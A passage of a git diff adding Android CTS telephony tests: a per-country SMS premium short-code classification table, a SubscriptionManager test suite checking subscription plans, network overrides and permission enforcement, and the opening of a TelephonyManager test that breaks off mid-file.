+            new ShortCodeTest("ro", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "1263", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "1288", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "1314", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "1380", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "7890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ro", "12345", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ru", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ru", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ru", "1161", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ru", "2097", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ru", "3933", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ru", "7781", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ru", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("se", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("se", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("se", "1234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("se", "72345", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("se", "72999", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("se", "123456", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("se", "87654321", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("sg", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("sg", "1234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("sg", "70000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sg", "79999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sg", "73800", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sg", "74688", CATEGORY_STANDARD_SHORT_CODE),
+            new ShortCodeTest("sg", "987654", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("si", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("si", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("si", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("si", "3838", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("si", "72999", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("sk", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("sk", "116117", CATEGORY_FREE_SHORT_CODE),
+            new ShortCodeTest("sk", "1234", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sk", "6674", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sk", "7604", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("sk", "72999", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("tj", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("tj", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("tj", "1161", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("tj", "1171", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("tj", "4161", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("tj", "4449", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("tj", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("ua", "112", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("ua", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ua", "4448", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ua", "7094", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ua", "7540", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ua", "98765", CATEGORY_NOT_SHORT_CODE),
+
+            new ShortCodeTest("us", "911", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("us", "+18005551234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("us", "8005551234", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("us", "20000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("us", "200000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("us", "2000000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("us", "20433", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("us", "21472", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("us", "23333", CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("us", "99807", CATEGORY_PREMIUM_SHORT_CODE),
+
+            // generic rules for other countries: 5 digits or less considered potential short code
+            new ShortCodeTest("zz", "2000000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest("zz", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("zz", "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("zz", "321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("zz", "112", expectedReturnCode("112")),
+            new ShortCodeTest(null, "2000000", CATEGORY_NOT_SHORT_CODE),
+            new ShortCodeTest(null, "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest(null, "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest(null, "321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest(null, "112", expectedReturnCode("112")),
+    };
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getTargetContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    private static int expectedReturnCode(String address) {
+        return PhoneNumberUtils.isEmergencyNumber(address) ?
+            CATEGORY_NOT_SHORT_CODE : CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE;
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSmsUsageMonitor() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // do not test if device does not support telephony (voice or sms)
+            return;
+        }
+
+        SmsUsageMonitor monitor = new SmsUsageMonitor(mContext);
+        for (ShortCodeTest test : sShortCodeTests) {
+            // It is intended that a short code number in country A may be an emergency number
+            // in country B. It is intended that the destination will be changed because of this
+            // reason. checkDestination() returns CATEGORY_NOT_SHORT_CODE for emergency numbers.
+            if (test.category != CATEGORY_NOT_SHORT_CODE
+                    && PhoneNumberUtils.isEmergencyNumber(test.address, test.countryIso)) {
+                continue;
+            }
+            assertEquals("country: " + test.countryIso + " number: " + test.address,
+                    test.category, monitor.checkDestination(test.address, test.countryIso));
+        }
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/StubDialerActivity.java b/tests/tests/telephony/current/src/android/telephony/cts/StubDialerActivity.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/StubDialerActivity.java
rename to tests/tests/telephony/current/src/android/telephony/cts/StubDialerActivity.java
diff --git a/tests/tests/telephony/src/android/telephony/cts/StubInCallService.java b/tests/tests/telephony/current/src/android/telephony/cts/StubInCallService.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/StubInCallService.java
rename to tests/tests/telephony/current/src/android/telephony/cts/StubInCallService.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
new file mode 100644
index 0000000..4e67af7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -0,0 +1,477 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.Nullable;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.os.ParcelUuid;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.SubscriptionPlan;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.time.Period;
+import java.time.ZonedDateTime;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+
+import androidx.test.InstrumentationRegistry;
+
+public class SubscriptionManagerTest {
+    private SubscriptionManager mSm;
+
+    private int mSubId;
+    private String mPackageName;
+
+    /**
+     * Callback used in testRegisterNetworkCallback that allows caller to block on
+     * {@code onAvailable}.
+     */
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+
+        public void waitForAvailable() throws InterruptedException {
+            assertTrue("Cellular network did not come up after 5 seconds",
+                    mAvailableLatch.await(5, TimeUnit.SECONDS));
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            mAvailableLatch.countDown();
+        }
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        if (!isSupported()) return;
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .executeShellCommand("svc wifi disable");
+
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        cm.registerNetworkCallback(new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build(), callback);
+        try {
+            // Wait to get callback for availability of internet
+            callback.waitForAvailable();
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            cm.unregisterNetworkCallback(callback);
+        }
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        if (!isSupported()) return;
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .executeShellCommand("svc wifi enable");
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (!isSupported()) return;
+
+        mSm = InstrumentationRegistry.getContext().getSystemService(SubscriptionManager.class);
+        mSubId = SubscriptionManager.getDefaultDataSubscriptionId();
+        mPackageName = InstrumentationRegistry.getContext().getPackageName();
+    }
+
+    /**
+     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
+     * either defined or undefined; you can't cross the streams.
+     */
+    @Test
+    public void testSanity() throws Exception {
+        final boolean hasCellular = findCellularNetwork() != null;
+        if (isSupported() && !hasCellular) {
+            fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
+                    + " but has no active cellular network, which is required for validation");
+        } else if (!isSupported() && hasCellular) {
+            fail("Device has active cellular network, but claims to not support "
+                    + PackageManager.FEATURE_TELEPHONY);
+        }
+
+        if (isSupported()) {
+            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+                fail("Device must have a valid default data subId for validation");
+            }
+        }
+    }
+
+    @Test
+    public void testGetActiveSubscriptionInfoCount() throws Exception {
+        if (!isSupported()) return;
+
+        assertTrue(mSm.getActiveSubscriptionInfoCount() <=
+                mSm.getActiveSubscriptionInfoCountMax());
+    }
+
+    @Test
+    public void testActiveSubscriptions() throws Exception {
+        if (!isSupported()) return;
+
+        List<SubscriptionInfo> subList = mSm.getActiveSubscriptionInfoList();
+        // Assert when there is no sim card present or detected
+        assertNotNull("Active subscriber required", subList);
+        assertFalse("Active subscriber required", subList.isEmpty());
+        for (int i = 0; i < subList.size(); i++) {
+            assertTrue(subList.get(i).getSubscriptionId() >= 0);
+            assertTrue(subList.get(i).getSimSlotIndex() >= 0);
+            if (i >= 1) {
+                assertTrue(subList.get(i - 1).getSimSlotIndex()
+                        <= subList.get(i).getSimSlotIndex());
+                assertTrue(subList.get(i - 1).getSimSlotIndex() < subList.get(i).getSimSlotIndex()
+                        || subList.get(i - 1).getSubscriptionId()
+                        < subList.get(i).getSubscriptionId());
+            }
+        }
+    }
+
+    @Test
+    public void testSubscriptionPlans() throws Exception {
+        if (!isSupported()) return;
+
+        // Make ourselves the owner
+        setSubPlanOwner(mSubId, mPackageName);
+
+        // Push empty list and we get empty back
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList());
+        assertEquals(Arrays.asList(), mSm.getSubscriptionPlans(mSubId));
+
+        // Push simple plan and get it back
+        final SubscriptionPlan plan = buildValidSubscriptionPlan();
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan));
+        assertEquals(Arrays.asList(plan), mSm.getSubscriptionPlans(mSubId));
+
+        // Now revoke our access
+        setSubPlanOwner(mSubId, null);
+        try {
+            mSm.setSubscriptionPlans(mSubId, Arrays.asList());
+            fail();
+        } catch (SecurityException expected) {
+        }
+        try {
+            mSm.getSubscriptionPlans(mSubId);
+            fail();
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    public void testSubscriptionPlansOverrideCongested() throws Exception {
+        if (!isSupported()) return;
+
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        final Network net = findCellularNetwork();
+        assertNotNull("Active cellular network required", net);
+
+        // Make ourselves the owner
+        setSubPlanOwner(mSubId, mPackageName);
+
+        // Missing plans means no overrides
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList());
+        try {
+            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
+            fail();
+        } catch (SecurityException | IllegalStateException expected) {
+        }
+
+        // Defining plans means we get to override
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+
+        // Cellular is uncongested by default
+        assertTrue(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_CONGESTED));
+
+        // Override should make it go congested
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return !caps.hasCapability(NET_CAPABILITY_NOT_CONGESTED);
+            });
+            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+
+        // Clearing override should make it go uncongested
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return caps.hasCapability(NET_CAPABILITY_NOT_CONGESTED);
+            });
+            mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+
+        // Now revoke our access
+        setSubPlanOwner(mSubId, null);
+        try {
+            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
+            fail();
+        } catch (SecurityException | IllegalStateException expected) {
+        }
+    }
+
+    @Test
+    public void testSubscriptionPlansOverrideUnmetered() throws Exception {
+        if (!isSupported()) return;
+
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        final Network net = findCellularNetwork();
+        assertNotNull("Active cellular network required", net);
+
+        // Make ourselves the owner and define some plans
+        setSubPlanOwner(mSubId, mPackageName);
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+
+        // Cellular is metered by default
+        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
+
+        // Override should make it go unmetered
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+            });
+            mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+
+        // Clearing override should make it go metered
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+            });
+            mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+    }
+
+    @Test
+    public void testSubscriptionPlansInvalid() throws Exception {
+        if (!isSupported()) return;
+
+        // Make ourselves the owner
+        setSubPlanOwner(mSubId, mPackageName);
+
+        // Empty plans can't override
+        assertOverrideFails();
+
+        // Nonrecurring plan in the past can't override
+        assertOverrideFails(SubscriptionPlan.Builder
+                .createNonrecurring(ZonedDateTime.now().minusDays(14),
+                        ZonedDateTime.now().minusDays(7))
+                .setTitle("CTS")
+                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
+                .build());
+
+        // Plan with undefined limit can't override
+        assertOverrideFails(SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .build());
+
+        // We can override when there is an active plan somewhere
+        final SubscriptionPlan older = SubscriptionPlan.Builder
+                .createNonrecurring(ZonedDateTime.now().minusDays(14),
+                        ZonedDateTime.now().minusDays(7))
+                .setTitle("CTS")
+                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
+                .build();
+        final SubscriptionPlan newer = SubscriptionPlan.Builder
+                .createNonrecurring(ZonedDateTime.now().minusDays(7),
+                        ZonedDateTime.now().plusDays(7))
+                .setTitle("CTS")
+                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
+                .build();
+        assertOverrideSuccess(older, newer);
+    }
+
+    @Test
+    public void testSubscriptionGrouping() throws Exception {
+        if (!isSupported()) return;
+
+        // Set subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        List<Integer> subGroup = new ArrayList();
+        subGroup.add(mSubId);
+        try {
+            mSm.createSubscriptionGroup(subGroup);
+            fail();
+        } catch (SecurityException expected) {
+        }
+
+        // Getting subscriptions in group should return null as setSubscriptionGroup
+        // should fail.
+        SubscriptionInfo info = mSm.getActiveSubscriptionInfo(mSubId);
+        assertNull(info.getGroupUuid());
+
+        // Remove from subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        try {
+            mSm.addSubscriptionsIntoGroup(subGroup, null);
+            fail();
+        } catch (NullPointerException expected) {
+        }
+
+        // Add into subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        try {
+            ParcelUuid groupUuid = new ParcelUuid(UUID.randomUUID());
+            mSm.addSubscriptionsIntoGroup(subGroup, groupUuid);
+            fail();
+        } catch (SecurityException expected) {
+        }
+
+        // Remove from subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        try {
+            mSm.removeSubscriptionsFromGroup(subGroup, null);
+            fail();
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @Test
+    public void testSettingOpportunisticSubscription() throws Exception {
+        if (!isSupported()) return;
+
+        // Set subscription to be opportunistic. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        try {
+            mSm.setOpportunistic(true, mSubId);
+            fail();
+        } catch (SecurityException expected) {
+        }
+
+        // Shouldn't crash.
+        SubscriptionInfo info = mSm.getActiveSubscriptionInfo(mSubId);
+        info.isOpportunistic();
+    }
+
+    @Test
+    public void testMccMncString() {
+        if (!isSupported()) return;
+
+        SubscriptionInfo info = mSm.getActiveSubscriptionInfo(mSubId);
+        String mcc = info.getMccString();
+        String mnc = info.getMncString();
+        assertTrue(mcc == null || mcc.length() <= 3);
+        assertTrue(mnc == null || mnc.length() <= 3);
+    }
+
+    private void assertOverrideSuccess(SubscriptionPlan... plans) {
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
+        mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
+    }
+
+    private void assertOverrideFails(SubscriptionPlan... plans) {
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
+        try {
+            mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
+            fail();
+        } catch (SecurityException | IllegalStateException expected) {
+        }
+    }
+
+    public static CountDownLatch waitForNetworkCapabilities(Network network,
+            Predicate<NetworkCapabilities> predicate) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        cm.registerNetworkCallback(new NetworkRequest.Builder().build(),
+                new NetworkCallback() {
+                    @Override
+                    public void onCapabilitiesChanged(Network net, NetworkCapabilities caps) {
+                        if (net.equals(network) && predicate.test(caps)) {
+                            latch.countDown();
+                            cm.unregisterNetworkCallback(this);
+                        }
+                    }
+                });
+        return latch;
+    }
+
+    private static SubscriptionPlan buildValidSubscriptionPlan() {
+        return SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
+                .setDataUsage(500_000_000, System.currentTimeMillis())
+                .build();
+    }
+
+    private static @Nullable Network findCellularNetwork() {
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        for (Network net : cm.getAllNetworks()) {
+            final NetworkCapabilities caps = cm.getNetworkCapabilities(net);
+            if (caps != null && caps.hasTransport(TRANSPORT_CELLULAR)
+                    && caps.hasCapability(NET_CAPABILITY_INTERNET)
+                    && caps.hasCapability(NET_CAPABILITY_NOT_RESTRICTED)) {
+                return net;
+            }
+        }
+        return null;
+    }
+
+    private static boolean isSupported() {
+        return InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+
+    private static void setSubPlanOwner(int subId, String packageName) throws Exception {
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd netpolicy set sub-plan-owner " + subId + " " + packageName);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
new file mode 100644
index 0000000..ec9ec07
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -0,0 +1,1326 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.AsyncTask;
+import android.os.Build;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.RemoteException;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.telephony.AvailableNetworkInfo;
+import android.telephony.CallAttributes;
+import android.telephony.CallQuality;
+import android.telephony.CellLocation;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.PhoneStateListener;
+import android.telephony.PreciseCallState;
+import android.telephony.ServiceState;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccCardInfo;
+import android.telephony.UiccSlotInfo;
+import android.telephony.cts.locationaccessingapp.CtsLocationAccessService;
+import android.telephony.cts.locationaccessingapp.ICtsLocationAccessControl;
+import android.telephony.emergency.EmergencyNumber;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.TestThread;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ *  make cts -j64
+ *  cts-tradefed run cts -m CtsTelephonyTestCases --test android.telephony.cts.TelephonyManagerTest
+ */
+public class TelephonyManagerTest {
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+    private SubscriptionManager mSubscriptionManager;
+    private boolean mOnCellLocationChangedCalled = false;
+    private ServiceState mServiceState;
+    private final Object mLock = new Object();
+    private static final int TOLERANCE = 1000;
+    private PhoneStateListener mListener;
+    private static ConnectivityManager mCm;
+    private static final String TAG = "TelephonyManagerTest";
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mSubscriptionManager = (SubscriptionManager) getContext()
+                .getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mListener != null) {
+            // unregister the listener
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        }
+    }
+
+    @Test
+    public void testListen() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            // TODO: temp workaround, need to adjust test to for CDMA
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCellLocationChanged(CellLocation location) {
+                        if(!mOnCellLocationChangedCalled) {
+                            synchronized (mLock) {
+                                mOnCellLocationChangedCalled = true;
+                                mLock.notify();
+                            }
+                        }
+                    }
+                };
+
+                synchronized (mLock) {
+                    mLock.notify(); // mListener is ready
+                }
+
+                Looper.loop();
+            }
+        });
+
+        synchronized (mLock) {
+            t.start();
+            mLock.wait(TOLERANCE); // wait for mListener
+        }
+
+        // Test register
+        synchronized (mLock) {
+            // .listen generates an onCellLocationChanged event
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                mOnCellLocationChangedCalled);
+        }
+
+        synchronized (mLock) {
+            mOnCellLocationChangedCalled = false;
+            CellLocation.requestLocationUpdate();
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                mOnCellLocationChangedCalled);
+        }
+
+        // unregister the listener
+        mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        Thread.sleep(TOLERANCE);
+
+        // Test unregister
+        synchronized (mLock) {
+            mOnCellLocationChangedCalled = false;
+            // unregister again, to make sure doing so does not call the listener
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+            CellLocation.requestLocationUpdate();
+            mLock.wait(TOLERANCE);
+
+            assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
+                mOnCellLocationChangedCalled);
+        }
+    }
+
+    /**
